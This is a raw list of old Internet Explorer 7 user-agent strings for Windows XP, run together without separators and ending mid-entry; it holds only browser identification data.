Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; GreenBrowser) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; yie8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 1.1.4322; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MAXTHON 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; AskTB5.4) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Maxthon 2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 4.0.20506; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; AskTB5.6) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 4.0.20506) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.1; AskTB5.6; Maxthon 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2; OfficeLiveConnector.1.3; OfficeLivePatch.0.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Sleipnir/2.8.4 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.0.3705; .NET CLR 1.1.4322; GreenBrowser) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; InfoPath.2; GreenBrowser) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 4.0.20506; GreenBrowser) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 4.0.20506; Sleipnir/2.8.5) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; InfoPath.2; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; MSN Optimized;US) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; Lunascape 6.2.0.22177) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; SlimBrowser) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; Zune 4.7; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) chromeframe/8.0.552.237 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 3.0.4506.2152; .NET CLR 2.0.50727; Lunascape 5.0.4.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 3.5.30729; FDM) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Browzar) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Avant Browser) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Avant Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Avant Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; MSN OptimizedIE8;ZHTW) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Deepnet Explorer 1.5.2; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FBSMTWB; QQDownload 618; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; TheWorld) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FunWebProducts; .NET CLR 1.1.4322; Zango 10.3.37.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FunWebProducts; GTB6; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FunWebProducts; InfoPath.1; .NET CLR 2.0.50727; MSN OptimizedIE8;ENUS) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB0.0; InfoPath.1; GreenBrowser) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB5) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB5; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB5; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; InfoPath.1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; MSN Optimized;US) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB5; .NET CLR 1.1.4322; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB6.3; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; GreenBrowser) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB6.3; InfoPath.2; MS-RTC LM 8; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB6.4; AskTB5.6) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB6.4; Tablet PC 1.7; .NET CLR 1.0.3705; .NET CLR 1.1.4322; yie8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB6.5; (R1 1.6); .NET CLR 2.0.50727; eSobiSubscriber 2.0.4.16; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Lunascape 6.2.0.22177) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB6.5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Lunascape 6.2.0.22177) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB6.5; .NET CLR 2.0.50727; eSobiSubscriber 2.0.4.16; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Lunascape 6.2.0.22177) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; Alexa Toolbar; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB6.6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; OfficeLiveConnector.1.3; OfficeLivePatch.0.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB6.6; KKMAN3.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB6.6; KKMAN3.2; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; AskTB5.6) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB6.6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB6; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1; Lunascape 5.1.4.5) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MS-RTC LM 8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Lunascape 5.0.4.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB6; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2; Sleipnir/2.8.5) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB6; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; GreenBrowser) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB6; .NET CLR 2.0.50727; GreenBrowser) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB6; Avant Browser; MS-RTC LM 8; InfoPath.1; MSN Optimized;US) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB6; InfoPath.1; .NET CLR 2.0.50727; OfficeLiveConnector.1.3; OfficeLivePatch.0.0; yie8) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB6; chromeframe; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; InfoPath.1) Paros/3.2.13 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; InfoPath.1; MS-RTC LM 8; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MS-RTC LM 8; .NET4.0C; .NET4.0E) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; InfoPath.2; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.0.3705; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; KKMAN3.2; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Lunascape 4.9.9.97) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; MAXTHON 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; MathPlayer 2.10b; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 1.0.3705; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Lunascape Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Maxthon) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Maxthon; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Maxthon; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Maxthon; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Maxthon; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Maxthon; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Maxthon; .NET CLR 3.0.04506.30; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 1.1.4322; InfoPath.1; MAXTHON 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Maxthon; .NET CLR 3.5.30729; FDM) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Maxthon; Maxthon; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Maxthon; Maxthon; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; FDM) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; Lunascape 5.0.3.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729; InfoPath.3) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; Avant Browser; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; Maxthon 2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; chromeframe) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Crazy Browser 3.0.5) ; .NET CLR 3.0.04506.30; InfoPath.2; InfoPath.3; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; QQDownload 1.7; GTB6.6; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; QQDownload 1.7; GTB6.6; TencentTraveler 4.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; QQDownload 689; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.21022; .NET CLR 3.5.30729; .NET CLR 3.0.30618) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; chromeframe/22.0.1229.94; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.3 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; chromeframe; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; chromeframe; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; chromeframe; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; chromeframe; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; chromeframe; Maxthon; .NET CLR 3.5.30729; FDM) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; eSobiSubscriber 2.0.4.16; InfoPath.2; OfficeLiveConnector.1.5; OfficeLivePatch.1.3) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Wanadoo 6.2) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Wanadoo 6.7; GTB7.3; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Wysigot 5.5; .NET CLR 2.0.50727; .NET CLR 3.0.04307.00; FDM; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YComp 5.0.0.0; .NET CLR 1.0.3705) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YComp 5.0.0.0; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.0.0; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; Zango 10.3.36.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.0.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.0.3; .NET CLR 1.1.4322; yplus 5.1.04b) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.0.3; yplus 4.2.00b) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; (R1 1.5); .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; yplus 5.1.04b) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; yplus 5.5.04b) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 1.1.4322; Media Center PC 4.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; .NET CLR 1.1.4322) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; InfoPath.1) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Seekmo 10.0.345.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Seekmo 10.0.424.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; .NET CLR 1.1.4322; Zango 10.0.314.0; yplus 5.1.02b) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; .NET CLR 2.0.50727; yplus 5.1.04b) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; FunWebProducts; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; FunWebProducts; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; InfoPath.1; yplus 5.3.04b) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; FunWebProducts; .NET CLR 1.1.4322; .NET CLR 2.0.50727; yplus 5.3.04b) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; FunWebProducts; .NET CLR 1.1.4322; Zango 10.0.314.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; FunWebProducts; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; FunWebProducts; PeoplePal 3.0; yplus 5.6.04b) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; GTB5; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; Media Center PC 4.0) Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; YPC 3.2.0; GTB5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) Mozilla/4.0 